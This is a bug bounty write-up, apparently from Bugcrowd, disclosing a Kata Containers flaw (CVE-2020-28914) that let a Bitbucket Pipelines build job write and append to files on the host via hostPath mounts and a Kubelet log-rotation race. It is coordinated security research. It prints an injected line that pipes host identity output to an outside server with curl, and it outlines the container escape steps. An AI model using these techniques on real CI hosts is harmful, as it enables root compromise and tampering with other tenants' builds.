skip to Main Content
This website use cookies which are necessary to its functioning and required to achieve the purposes illustrated in the privacy policy. To learn more or withdraw consent please click on Learn More. By continued use of this website you are consenting to our use of cookies.

Big Bugs: Bitbucket Pipelines Kata Containers Build Container Escape

Big Bugs: Bitbucket Pipelines Kata Containers Build Container Escape

Atlassian ran a project on Bugcrowd looking for bugs in their proposed implementation of Kata Containers within the Bitbucket Pipelines CI/CD environment. 

Within the project, Researcher Alex Chapman (axjchapman) identified a vulnerability in Kata Containers which could allow processes running in the Kata VM to write to supposedly read-only volume mounts. Exploiting this vulnerability allowed a malicious build job to write semi-controlled data to arbitrary files on the host system as the root user.

This vulnerability was fixed by the Kata Containers team and assigned CVE-2020-28914.

Quick Links: 

Atlassian Team Digest

Introduction to the Bug

Bug Hunting

Impact Assessment and Exploitation

Timeline

References


Atlassian Team Digest

We asked the Atlassian team to describe the impact of the Kava VM vulnerability within the Bitbucket Pipelines CI/CD environment and the remediation process:

The impact of the vulnerability is significant. After iterating on the exploit, the researcher was able to demonstrate that overwriting the bind-mounted docker binary from the pipelines host could reasonably lead to assuming root privileges on the pipelines host. Because the Bitbucket Pipelines is a multi-tenant environment, breaking out of the Kata Container onto the Bitbucket Pipelines host  allows an attacker to interfere with any customer’s pipeline builds on that same host.

Bitbucket Pipeline vulnerabilities are relatively complex, so they require more communication with the researcher during the review process. In this case, once the host docker binary overwrite was found, the researcher submitted the BugCrowd report to us to track internally and help start the remediation process. For remediation, we first assessed the vulnerability’s severity and attempted to reproduce it. The researcher’s detailed reports were a big help here – proper reproduction steps and analysis reduced the time we spent understanding the vulnerability and let us assign it to the relevant development team sooner. Then, as the development team was looking at the issue, the researcher worked on demonstrating that the vulnerability could be chained into additional exploitation for broader access. Communication had to be kept with the researcher to relay any additional information to the development team to escalate the issue internally if needed. In this particular case, our development team determined the source of the issue was upstream in the Kata Container project, so beyond filing an issue with them there wasn’t a major engineering effort on our end.

– Matthew Bass, Product Security Engineer

What has your experience been working with CrowdSourced security and how has working with the Crowd impacted/changed your perspective on the Information Security space?

I’ve had a great experience working with CrowdSourced security. The bug bounty is a very valuable tool for us and many of our most critical findings are reported through our bug bounty programs. We have also made larger security improvements to some of our products based on trends seen in the bug bounty.

Working on the bug bounty at Atlassian was actually my first project in InfoSec, so it actually played a big part in forming my perspective. I think the bug bounty is an essential piece of vulnerability discovery at Atlassian. Many of the issues we receive in the bug bounty really cannot be found by scanners and the researchers who report vulnerabilities to us cover a wider skill set than we could not easily hire. Just in this private bounty program there are a number of container security experts vetting our product and reporting issues.

-Erin Jensby, Product Security Engineer


The following write-up is an account of the bug discovery process along with an assessment of the impact of exploiting the bug in the project Bitbucket Pipelines environment.

Introduction

Bitbucket Pipelines is a CI/CD environment which runs build jobs from Bitbucket repositories. Atlassian were trialing a new Pipelines build environment which used Kata Containers to attempt to logically separate the build jobs of different users. Kata Containers is an implementation of a CRI compatible container runtime which executes containers via Containerd within individual QEMU Virtual Machines (VMs). The goal of this new environment was to provide a higher level of security and separation than regular containerization in the event of a malicious build job escaping a build container.

In the new Bitbucket Pipelines environment build jobs were executed as Kubernetes Pods with Kata Containers configured as the container runtime, causing each build job to be executed within separate Kata VMs.

Bitbucket Pipelines environment overview

Each build job consisted of several containers, a build container for running user provided build commands, several service containers for executing required Pipelines and build services, and a privileged Docker-in-Docker (DIND) container for executing Docker commands. All containers for an individual build job were executed in the same Kubernetes Pod within a single Kata VM.

In this environment no build job should be able to affect the output of another build job running on the same Kubernetes node, or be able to escape the Kata VM in order to compromise the node. My goal was to attempt to disprove these assertions.

Bug Hunting

Escaping to the Kata VM

From the build container, the Docker service running in the privileged DIND container could be used to launch further privileged containers*. Using the technique I previously described in Privileged Container Escape – Control Groups release_agent, the container environment could be escaped, permitting command execution as the root user directly within the Kata VM. Whilst this was not a vulnerability as such, it was an important stepping stone to assist in finding bugs in the rest of the environment.

* It should be noted that Bitbucket Pipelines in production implements a Docker authorization plugin to prevent arbitrary Docker commands being run within the privileged DIND container, but for this project assessment that plugin was disabled.

Kata Containers ‘hostPath’ vulnerability discovery

Within the build container volume mounts could be discovered through the mounted file systems. In investigating the mounted paths I noticed several kataShared mounts:

root@buildcont$ mount
...
kataShared on /etc/hostname type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /dev/termination-log type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /etc/hosts type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /etc/resolv.conf type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /usr/bin/docker type 9p (ro,dirsync,relatime,mmap,access=client,trans=virtio)
...

Output truncated for readability.

Reading the Kata Containers documentation I discovered that these mounts were hostPath volumes from the container host via the Plan 9 Filesystem Protocol (9p). hostPath volumes mount paths from the container host directly into the container.

One of the mounted paths looked particularly interesting, /usr/bin/docker. The build container was configured to have the Docker client binary hostPath mounted from the container host. I believe that this was a convenience to ensure that no matter what base image was used for the build container (the base image is user configurable), it would be able to access the DIND service without having to manually install the Docker client.

From the mount output it could be clearly seen that the /usr/bin/docker path was mounted read-only, and any attempt to write to this path would be denied by the Kernel.

Checking the mount points from the Kata VM showed that individual container mount points were not visible, only a single ‘parent’ mount point existed.

root@katavm$ mount 
...
kataShared on /run/kata-containers/shared/containers type 9p (rw,nodev,relatime,dirsync,mmap,access=client,trans=virtio)
...

Output truncated for readability.

Under this path however, the individual container mounts were present as files and directories:

root@katavm$ ls -la /run/kata-containers/shared/containers
...
-rw-r--r--  1 root root       43 Oct 26 11:47 6f727...b39fb-hostname
-rw-rw-rw-  1 root root        0 Oct 26 11:47 6f727...7097c-termination-log
-rw-r--r--  1 root root      239 Oct 26 11:47 6f727...c5e0e-hosts
-rw-r--r--  1 root root       42 Oct 26 11:47 6f727...268f9-resolv.conf
-rwxr-xr-x  1 root root 50683148 Jan  9  2019 6f727...4440e-docker
...

File names and output truncated for readability.

In an attempt to understand the mount process further, I set up a test Kubernetes environment on a VPS and configured Kata Containers as the container runtime. I then deployed a Pod with a read-only hostPath volume as below:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: build-deployment
spec:
  selector:
    matchLabels:
      app: build
  template:
    metadata:
      labels:
        app: build
    spec:
      runtimeClassName: kata
      containers:
      - name: build
        image: alpine:latest
        command: ["tail"]
        args: ["-f", "/dev/null"]
        volumeMounts:
        - mountPath: /usr/bin/docker
          name: docker
          readOnly: true
      volumes:
      - name: docker
        hostPath:
          path: /opt/docker/bin/docker

Assessing the test environment I discovered that container hostPath volumes followed a somewhat complicated mounting chain from the host to the target container, this is outlined below:

  1. The source mount path was bind mounted into the target Kata VM share directory on the container host (/run/kata-containers/shared/sandboxes/<KataVM_ID>/shared/).
  2. The Kata VM share directory was shared over a virtio-9p-pci device into the target Kata VM.
  3. Within the Kata VM the virtio device was mounted to the container share directory (/run/kata-containers/shared/containers).
  4. The mount path was bind mounted from the container share directory into the destination container.

At this point I noted something odd:

root@host$ mount
...
/dev/vda1 on /run/kata-containers/shared/sandboxes/9619d...b411d/shared/7277c...f78c0-docker type ext4 (rw,relatime)
...
root@host$ cat /proc/self/mountinfo
...
3196 2875 252:1 /opt/docker/bin/docker /run/kata-containers/shared/sandboxes/9619d...b411d/shared/7277c...f78c0-docker rw,relatime master:1 - ext4 /dev/vda1 rw
...

File names and output truncated for readability.

The output above shows that even though the docker mount was configured as read-only in the Pod YAML, it was bind mounted read-write into the Kata VM share directory. Despite this, it was ultimately being mounted read-only within the destination container. This implied that the read-only protection was being applied from within the Kata VM, meaning that the mount source could potentially be modified by commands running directly in the Kata VM.

Since command execution within the Kata VM had already been obtained (see section ‘Escaping to the Kata VM’ above), I tested this by writing to the supposedly read-only docker binary.

root@katavm$ echo 1 > /run/kata-containers/shared/containers/7277c...f78c0-docker

File names truncated for readability.

The write was successful and the modified docker binary could be seen from the container host.

root@host$ ls -la /opt/docker/bin/docker
-rwxr-xr-x  1 root root 2 Oct 26 18:16 /opt/docker/bin/docker
root@host$ cat /opt/docker/bin/docker
1

Moving back to the Pipelines environment, I confirmed I was able to modify the docker binary on the container host, and have the modified binary affect another build, very cool!

BitBucket Pipelines output showing result of running the modified `docker` binary from a build jobBitbucket Pipelines output showing result of running the modified `docker` binary from a build job

Unfortunately through a bug in my PoC I managed to corrupt my backup of the docker binary, breaking it for all other builds run on the node, very not cool!

It was here I decided to clean up as much as I could and open the initial Bugcrowd report stating I may have DoSed the Pipelines environment and would provide a full report as soon as possible. I got a full report written up several hours later.

Impact Assessment and Exploitation

I had identified that the docker binary which was mounted into each build container on a node could be overwritten with malicious code. This could be exploited to modify the build output of other builds on the same node, but unfortunately it did not appear that this could be exploited to escape the Kata VM and execute commands on the container host, my ultimate goal.

Further assessment identified another read-only hostPath volume which mounted the /var/log/pods/$(NAMESPACE_NAME)_$(POD_NAME)_$(POD_ID) directory. This mount included container standard output logs for each container in the Pod. It appeared that this mount was used by an ‘agent’ container to report build and service container output to the Pipelines web UI.

Each container in the Pod had a separate subdirectory within the log directory, with the standard output of the container being written to 0.log under its subdirectory. Each line of output from the container was recorded, prepended with a time stamp, stream name and truncation status, such as below:

2020-10-29T12:49:35.410976914Z stdout F id
2020-10-29T12:49:35.503666526Z stdout F uid=0(root) gid=0(root) groups=0(root)

Looking for the /var/log/pods directory in my test environment, I quickly identified that these logs were being written by the containerd process running on the container host.

This second mount seemed more promising for escaping the Kata VM for three reasons:

  1. The source of the mount was a directory, not just a single file like the docker mount
  2. The files in the directory were being written by a process running as the root user on the container host
  3. The data written to the files could be at least partially controlled as it included the stdout of containers under the control of the build job

As I dug further into the potential avenues of exploitation for this issue I kept the Bugcrowd report updated with the new information I was discovering.

Write Primitive

My first idea to exploit this log mount was to replace the current standard output log file for a test container with a symlink to another file, then have the container write controlled data to the standard output stream. Amazingly this worked first time, linking the test/0.log file to test/1.log resulted in the standard output stream for the ‘test’ container being written to the target test/1.log file.

To prove the symlink destination was being written by a process on the container host (and not from within the Kata VM), I configured my test Kubernetes environment with a Pod mounting the /var/log/pods/$(NAMESPACE_NAME)_$(POD_NAME)_$(POD_ID) directory and confirmed this technique would create new files on the container host outside of the mounted log directory.

At this point I could create any new files on the container host with -rw-r—– permissions, owned by root:root and with partially controlled data. Unfortunately however, it appeared that existing files could not be overwritten or appended to. Without the ability to append to existing files this issue would be more difficult to exploit, as the files that I could on the container host did not have ‘execute’ permissions.

Append Primitive

For some unknown reason, when symlinking test/0.log to an existing file Containerd would refuse to overwrite or append to the symlink target. This annoyed me more than it should, so I went looking through the Containerd source code on GitHub for why this might be.

It turned out that Containerd would ignore errors when writing container standard output log lines, and had no automatic method to reopen log files on error. I discovered that the write primitive above actually worked due to the log rotation code in Kubernetes Kublet. Every 10 seconds the Kubernetes kubelet process would check the container standard output log directory for each running container. If the 0.log file did not exist, Kubelet would send a gRPC request to Containerd telling it to reopen the log file. However, in the case that 0.log had been symlinked to an existing file, Kublet saw the file existed and did not make the gRPC call, preventing Containerd from writing to the symlink location.

Looking over the Kubelet log rotation code, I discovered a possibility for appending to existing files. If 0.log was greater than 10MB, Kubelet would rotate 0.log to 0.log.<timestamp> and then send a gRPC request to Containerd telling it to reopen the 0.log file for logging.

func (c *containerLogManager) rotateLatestLog(id, log string) error {
	timestamp := c.clock.Now().Format(timestampFormat)
	rotated := fmt.Sprintf("%s.%s", log, timestamp)
	if err := c.osInterface.Rename(log, rotated); err != nil {
		return fmt.Errorf("failed to rotate log %q to %q: %v", log, rotated, err)
	}
	if err := c.runtimeService.ReopenContainerLog(id); err != nil {

Github Source

This non-atomic operation across two processes contains a relatively simple race condition. If, after Kubelet has rotated 0.log but before Containerd has reopend 0.log, 0.log is created as a symlink to an existing file, Containerd will happily open the symlink destination and append all future log lines.

Aside: There is also a way to exploit the Kubelet log rotation behaviour to read files from the container host, but the details of this are left to be discovered by the reader.

Exploitation (or lack thereof)

Now with the ability to append to arbitrary files on the container host, my plan was to identify a shell script likely to exist and append lines which would execute arbitrary shell commands. For example, executing the following in a container:

echo 'Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)'

Would result in the following lines being appended to the target shell script:

2020-11-02T08:43:34.846940623Z stdout F + echo 'Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)'
2020-11-02T08:43:34.846946507Z stdout F Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)

When executed from a bash or sh shell, the sub command { hostname; id; uname -a; } 2>&1 | curl -T – http://debug.webhooks.pw/log would be executed, which would record the output of the hostname, id and uname -a commands to a webserver under my control. (Since sub-commands are evaluated before the ‘main’ command on a line in a shell script, it did not matter that the ‘main’ command, 2020-11-02T08:43:34.846946507Z in this instance, was not a valid shell command.)

Unfortunately between the time of the initial report and the Kata Containers fix being applied in the Pipelines environment I was unable to identify a suitable target shell script to write to on the container host. Ultimately however, the Bitbucket team assessed the updated details provided and concluded that this issue could likely be exploited to execute commands on the container host as the root user. Whilst this was a slightly disappointing end to this journey, I was happy with the response from the Bitbucket team.

Timeline

  • 20201026 – Initial Report
  • 20201028 – Atlassian confirmed vulnerability
  • 20201030 – Atlassian created bug report against Kata Containers project
  • 20201030 – Further information provided
  • 20201106 – Kata Containers PR merged
  • 20201112 – Kata Containers fix released
  • 20201117 – CVE-2020-28914 assigned
  • 20201118 – Atlassian implemented fix
  • 20201130 – Submission Disclosed via CrowdStream

Thanks

I want to thank both the Atlassian Bitbucket and the Kata Containers teams for their quick responses to this issue.

References


About the Author:

Alex Chapman is a vulnerability researcher who’s been helping to secure Bugcrowd customers with incredible accuracy! You can follow Alex’s bug bounty journey via GitHub and on Twitter @ajxchapman.

Tags:
Topics:

Michael Hamel

Manager of Strategic Initiatives

Back To Top